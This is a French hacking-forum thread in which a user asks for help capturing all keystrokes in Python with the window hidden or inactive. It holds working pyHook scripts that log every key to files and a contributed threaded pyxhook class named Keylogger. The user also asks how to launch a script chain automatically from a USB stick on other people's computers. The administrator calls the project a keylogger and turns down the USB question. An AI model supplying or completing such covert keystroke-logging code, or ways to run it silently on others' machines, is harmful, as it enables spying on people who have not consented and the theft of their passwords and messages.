logo Homepage
+  NewbieContest
|-+  Programmation» Autres langages» Python - Tkinter
Username:
Password:
Pages: [1] 2
  Imprimer  
Auteur Fil de discussion: Python - Tkinter  (Lu 3832 fois)
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« le: 06 Décembre 2018 à 18:44:11 »

Salut, cette fois c'est du python, avec tkinter.

J'ai un programme :

Code:
from tkinter import *

root = Tk()

def fonction(event):
    print(event)
       
root.bind('a', fonction)
root.bind('b', fonction)



root.mainloop()

input()

Qui récupère la touche appuyée par l'utilisateur.

Sauf que j'ai deux problèmes :

(J'ai IDLE Python 3.6 32 bits)

Quand je fais "Run programme" à partir de la fenêtre de base, il s'ouvre et fonctionne.
Par  contre quand je double clique (la fenêtre noire) il se ferme directement ...

Et est-ce-que c'est possible de le faire tourner en tâche de fond ? Sans avoir la fenêtre ouverte ? Parce que c'est pour faire un raccourci clavier, mais si c'est pour que la fenêtre soit ouverte, autant juste faire un input().

Merci
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #1 le: 08 Décembre 2018 à 13:29:28 »

Bon, déjà, tu peux oublier IDLE. Prends un truc un peu mieux foutu Sublime text est bien, parait que Pycharm est bien aussi.

Ensuite, tkinter, c'est pas le meilleur framework GUI non plus je pense
J'ai testé wx, ça fonctionne pas trop mal, mais moyen bof maintenu. Sinon, il y a les classique QT, GTK, et autres.

Ensuite, je suis pas certain que ton idée fonctionne. Pour que ton raccourci clavier fonctionne, il faut que ta fenêtre soit au premier plan à priori. Il y a sûrement des solutions pour faire ce que tu veux, mais je les connais pas ^^'

Enfin, si je dis pas de connerie, ton mainloop se termine instantanément, puisque tu ne créés pas de fenêtre. Tu passes directement à ton input() qui devrait normalement resté ouvert jusqu'à ce que tu appuies sur la touche entrée.
Ton histoire de fenêtre noire là, tu peux expliquer un peu plus ? C'est le script ? un raccourci vers le cmd ? autre ?

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #2 le: 08 Décembre 2018 à 13:51:26 »

Bonjour, merci pour ta réponse, voici plusieurs infos supplémentaires :

J'ai amélioré mon programme :

Code:
import tkinter as tk

root = tk.Tk()
root.withdraw()


def ecrire(event):
    print(event.char, end = "")

root.bind('a', ecrire)
root.bind('b', ecrire)
root.bind('c', ecrire)
root.bind('d', ecrire)
root.bind('e', ecrire)
root.bind('f', ecrire)
root.bind('g', ecrire)
root.bind('h', ecrire)
root.bind('i', ecrire)
root.bind('j', ecrire)
root.bind('k', ecrire)
root.bind('l', ecrire)
root.bind('m', ecrire)
root.bind('n', ecrire)
root.bind('o', ecrire)
root.bind('p', ecrire)
root.bind('q', ecrire)
root.bind('r', ecrire)
root.bind('s', ecrire)
root.bind('t', ecrire)
root.bind('u', ecrire)
root.bind('v', ecrire)
root.bind('w', ecrire)
root.bind('x', ecrire)
root.bind('y', ecrire)
root.bind('z', ecrire)
root.bind('0', ecrire)
root.bind('1', ecrire)
root.bind('2', ecrire)
root.bind('3', ecrire)
root.bind('4', ecrire)
root.bind('5', ecrire)
root.bind('6', ecrire)
root.bind('7', ecrire)
root.bind('8', ecrire)
root.bind('9', ecrire)
root.bind('<space>', ecrire)
root.bind('A', ecrire)
root.bind('B', ecrire)
root.bind('C', ecrire)
root.bind('D', ecrire)
root.bind('E', ecrire)
root.bind('F', ecrire)
root.bind('G', ecrire)
root.bind('H', ecrire)
root.bind('I', ecrire)
root.bind('J', ecrire)
root.bind('K', ecrire)
root.bind('L', ecrire)
root.bind('M', ecrire)
root.bind('N', ecrire)
root.bind('O', ecrire)
root.bind('P', ecrire)
root.bind('Q', ecrire)
root.bind('R', ecrire)
root.bind('S', ecrire)
root.bind('T', ecrire)
root.bind('U', ecrire)
root.bind('V', ecrire)
root.bind('W', ecrire)
root.bind('X', ecrire)
root.bind('Y', ecrire)
root.bind('Z', ecrire)
root.bind('.', ecrire)
root.bind(',', ecrire)
root.bind('?', ecrire)
root.bind('!', ecrire)


root.mainloop()


Il est un peu long, mais c'est un premier jet. En fait, j'ai IDLE et Sublime Text et du coup, il vaut mieux prendre ST parce qu'il est plus puissant ? Et j'ai pris Tkinter parce qu'il était inclus au téléchargement de IDLE Python. (Ou quelque chose comme ça, en tout cas je n'ai pas eu à faire plus d'un téléchargement).

Et donc, mon code :

Code:
root = tk.Tk()
root.withdraw()

Il cache la fenêtre tkinter. Avec la plume.

Ensuite, les chiffres, lettres, caractères ...


Du coup, je suis dans IDLE et je fais Run Program, là ça m'ouvre le Shell (et pas le Tkinter grâce au root.withdraw) et ça écrit bien les lettres que j'écris. Sauf que si je clique ailleurs, ça marche plus.
Et quand je double clique sur le programme quand je suis dans l'Explorateur de fichiers, la fenêtre noire (un peu comme l'invite de commande) s'ouvre mais il ne se passe rien.

Et donc, ce que je voudrais faire, c'est que mon programme se lance, et fonctionne tout le temps même quand la fenêtre n'est pas cliquée et qu'on est sur Internet. Ainsi, l'utilisateur tape n'importe où (même dans le vide (sans case d'écriture selectionnée)) notepad.start (et le python lance le notepad). En fait, ça je ne demande pas d'aide pour faire ça, mais je le marque juste (l'explication de pourquoi je veux faire ça) parce que je me suis déjà fait rembarré parce la personne pensait que c'était pour un keylogger. (Je trouve ça idiot d'accuser à longueur de temps en plus parce que les gens sont pas idiots (tu tapes Rvlk sur Internet et en 3clics et 5 minutes, on a un keylogger super puissant alors pourquoi s'embêter à en faire un soi-même ...)).

Donc, est-ce-que c'est possible avec Tkinter, ou Pygame ou autre de cacher la fenêtre (ou juste cliquer ailleurs) et qu'elle fonctionne ? Parce que sinon, je peux changer de language .

Merci
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #3 le: 09 Décembre 2018 à 09:26:52 »

Mouais, ton explication ressemble vachement un à un keylogger quand même ^^'

Je pense que ta méthode n'est pas la bonne dans tous les cas. A mon avis, pas besoin d'utiliser tkinter (oui, c'est bien le GUI manager intégré par défaut). Il y a surement d'autres moyens de catcher les inputs clavier en python, à priori, la lib pyhook, mais j'ai pas googlé plus que ça.

Cela dit, pour ce genre d'outils, je pense que python n'est pas conseillé, il faut l'interpréteur, les libs kivonbien, etc etc. Imho, un bout de code en C++ avec les libs MS préinstallées me semble mieux, car il n'y a pas besoin d'installer grand chose.

Concernant IDLE vs ST, c'est pas que ST est plus puissant, c'est juste qu'IDLE est (à mon avis) daubé

Pour le fait de cacher la fenêtre, oui, ça doit être possible, mais j'ai pas de code sous la main.

Au passage, pour tes root.bind, tu peux faire un :
Code:
for i in 'tonalphabet':
    root.bind(i), ecrire)



Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #4 le: 09 Décembre 2018 à 12:41:48 »

Ok merci beaucoup !

En fait, je connais pas C++ c'est pour ça que j'utilise Python.

Mais, sur un autre forum, on m'a dit de mettre le WScriptShell ,0 , False, en vbs, je connaissais déjà et j'ai essayé. Ca cache la fenêtre mais, c'est tout. Dès qu'on clique ailleurs, le programme ne tourne plus.

Et est-ce-que Tkinter est intégré à ST ?

Merci
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #5 le: 09 Décembre 2018 à 12:56:01 »

Pour tout ce qui a attrait à windows (ce qui est plus ou moins le cas là, imho), les libs MS en C++, c'est ce qui me parait le mieux.

Ta ligne de VBS, je pense pas qu'elle fonctionne juste comme ça. Il faut lui donner d'autres instructions.

Tkinter ? intégré à ST ? C'est à dire ? pour l'autocomplétion ? Si tu parles de ça, par défaut non, mais il y a le package Jedi qui fait ça pas trop mal. Si t'as plein de fichiers ouverts, ça peut galérer un peu par contre (une centaine de fichiers sur une bonne bécane d'après mon ressenti)

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #6 le: 09 Décembre 2018 à 13:05:38 »

Ok merci, et oui le script complet c'est ça :

Code:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Et du coup, pour faire tourner même si fenêtre inactive, vous n'avez pas d'idées ?

Journalisée
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #7 le: 09 Décembre 2018 à 17:37:26 »

Du coup, j'ai été sur Pygame.

Mais pareil, j'ai cru voir que les events comme récupérer les saisies claviers ne fonctionnaient que lorsque la fenêtre Pygame était ouverte...

Pour pyHook, il faut installer un truc supplémentaire PyWin32. Sauf que sur le lien donné, il n'existe plus. Et ça a l'air bien compliqué ...

Donc, pour Pygame c'est possible ou pas ?

Merci
Journalisée
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #8 le: 09 Décembre 2018 à 20:34:32 »

Désolé, j'ai encore changé.

Cette fois, j'utilise pythoncom. Je l'ai telechargé à partir d'un fichier .wml et il est dans Telechargements. Mon programme est sur IDLE est j'appelle import pythoncom. Quand je fais Run Program, tout va bien' le programme fonctionne. Mais quand je fais double clic sur la page, l'invite Python s'ouvre et se ferme directement. J'ai entraperçu, en spammant le double clic, que pythoncom n'était pas reconnu.

Comment faire ?
Merci
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #9 le: 10 Décembre 2018 à 10:14:06 »

Je sais toujours pas ce que c'est ton histoire de page. J'ai bien ma petite idée, mais c'est pas facile sans plus d'info.

Essaye d'ouvrir un terminal (menu démarrer > cmd). Ensuite, tu tapes cd \chemin\vers\ton\script, puis "python <ton_script.py>", et dis moi ce que ça donne.


Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #10 le: 10 Décembre 2018 à 20:39:12 »

Non, ça ne marche pas.

Par contre, le Run Program fonctionne. Mais le cd chemin\d'accès, start programme.py ne fonctionne pas.

Aussi, j'ai le programme A :

Code:
import pythoncom, pyHook, sys, logging, tkinter

file_log='LOG.txt'


def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    lettre = chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    fichier = open("LOGA.txt", "a")
    if event.Ascii != 13:
        fichier.write(chr(event.Ascii + 32))
    else:
        fichier.write('\n')
    fichier.close
   
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

end = int(input())

Et le programme B :

Code:
from win32api import GetKeyState
from win32con import VK_CAPITAL
import pythoncom, pyHook, sys, logging, tkinter


file_log='LOG.txt'


def onKeyboardEvent(event):
    print(event.Ascii)
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    lettre = chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    fichier = open("LOGA.txt", "a")
    if event.Ascii != 13:
        if GetKeyState(VK_CAPITAL) == 0:
            fichier.write(chr(event.Ascii + 32))
        else:
            if event.Ascii >= 97 and event.Ascii <= 122:
                fichier.write(chr(event.Ascii))
    else:
        fichier.write('\n')
    fichier.close
   
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

end = int(input())


Et dans le Run Program, le programme A fonctionne (pas en double cliquant dessus), mais le B considère le event.Ascii comme un 0, même si la touche 'a' est tapée ...

Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #11 le: 11 Décembre 2018 à 06:52:00 »

Comment ça, ça ne marche pas ? Je ne comprend rien à ce que tu tu me racontes.

Tu as ouvert un cmd ? oui/non
Tu as réussi à faire cd \path\to\folder ? oui/non
Tu as réussi à faire la commande "python script.py" ? oui/non

Je te parle pas de "start programme.py" ou de quoi que ça soit d'autre. Et je te parle pas non plus d'un programme A ou B. Là, je te parle des bases qui te manquent pour comprendre l'exécution d'un script python.

T'y mets moyen du tiens quand même jusqu'à maintenant ^^'

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
neibb

Profil challenge

Classement : 417/48765

Membre Junior
**
Hors ligne Hors ligne
Messages: 50


Voir le profil WWW
« #12 le: 11 Décembre 2018 à 17:43:57 »

Salut,
j'arrive un peu après la guerre, mais pyhook est vraiment pas mal et bien documenté. (J'ai utilisé la version Linux Pyxhook, mais je pense que ca être très similaire sur windows.)
Tu peux aussi appeler ta fonction de capture au travers d'un thread de façon à pouvoir la garder plus facilement ouverte. (Ce sont des pistes que j'ai exploré.)

Petit exemple avec pyxhook:
Code:
import pyxhook
import threading
from fonctionEcrire import *

class Keylogger(threading.Thread):   
def __init__(self):
threading.Thread.__init__(self)

def task(self):                                                   # Cette fonction est appellee a chaque fois qu'une touche du clavier est pressee.
def kbevent(event):
global running
Ecrire("donnees", chr(event.Ascii))  # Trouver un emplacement absolu ça peut aider!

# Creation hookmanager
hookman = pyxhook.HookManager()
# Hook le keyboard
hookman.KeyDown = kbevent
hookman.HookKeyboard()
# Start
hookman.start()

while running:
time.sleep(0.1)

# Close
hookman.cancel()
pass
Sur le même principe tu peux faire le hookman.HookMouse() (clic gauche, clic droit, etc...)
Pour Ecrire le fichier j'utilise write() aussi, je ne la détaille pas.

Ensuite tu peux démarrer la capture au travers d'un thread avec:
Code:
#(... Début du programme)

running = True
TH = Keylogger()
Ecrire("donnees", "\n\nDebut de la session d'enregistrement le : "+heure+".\n\n")
TH.start()

#(... Suite du programme)

#Et par exemple pour quitter:
if messagerecu == exitcode :
running = False # Pour pouvoir quitter le keylogger.

C'est la seule façon que j'ai trouvé pour capturer quoi qu'il arrive, et même avec la fenêtre du programme en arrière plan. Par contre pour l'ouverture "discrète", je ne sais pas comment tu pourrais empécher l'ouverture d'une fenêtre. Il n'y avait pas une astuce à ce sujet, en jouant avec l'extension .py(?) ?
Journalisée

neibb
Skyroryk
Profil challenge

Classement : 14765/48765

Néophyte
*
Hors ligne Hors ligne
Messages: 19


Voir le profil
« #13 le: 11 Décembre 2018 à 17:47:14 »

Ok merci, j'ai essayé :

Le cmd s'ouvre.
Le cd path fonctionne
Le python script.py fonctionne.

Tout fonctionne merci beaucoup.


Du coup, j'ai encore une petite erreur sur deux, trois programmes (sur Internet ça marche) mais par exemple sur Bloc Notes ou Recherche Windows, le programme a une erreur (avec les 8 fichiers manquants). Est-ce-que vous savez comment la régler ? Parce que ce n'est pas un keylogger, c'est pour avoir les raccourcis. Et la personne n'y aurait pas accès souvent ...




Sur un sujet tout autre, est-ce-que vous sauriez comment automatiser le lancement d'un programme vbs (qui lance un fichier batch, qui lance python et telecharge les modules) à partir d'une clef USB, ou autre ? Parce que j'ai plusieurs tests à faire (avec un autre programme de calcul) (pour les nombres premiers) et j'ai pas mal de personnes qui acceptent de me "prêter" un peu de leur ordi. Du coup, je n'y aurai pas accès et j'aimerai automatiser le telechargement des modules, et du lancement du programme calculs_nb-premiers.py.  Et le meilleur moyen que j'ai trouvé, c'est par clef USB. Sauf que les autoruns ont (apparement) été bloqués. Donc, comment est-ce-que vous feriez ?

Merci
« Dernière édition: 11 Décembre 2018 à 22:36:50 par Skyroryk » Journalisée
the lsd
Administrateur

Profil challenge

Classement : 152/48765

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3019

poulping for fun & profit


Voir le profil WWW
« #14 le: 12 Décembre 2018 à 05:57:30 »

Et tu me prends pas pour un jambon un peu ?

Un programme, qui n'est pas un keylogger, mais qui récupère tous les input claviers et qui doit pouvoir s'exécuter automatiquement quand on branche une clé USB ? U kiddin' me ?

On remarquera que neibb n'est pas dupe non plus, avec le nom de la classe qu'il t'a donné

En l’occurrence, à ma connaissance, il n'existe depuis plusieurs années plus aucun moyen d'exécuter un programme lors du branchement d'une clé USB. Il y a bien d'autres solutions, mais je te laisse chercher un peu ^^
De plus, comme je t'ai déjà dit, python n'est pas DU TOUT la meilleure solution pour un "programme de racccourcis claviers exécutable via une clé USB" (mais pas un keylogger, non non).

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Pages: [1] 2
  Imprimer  
 
Aller à: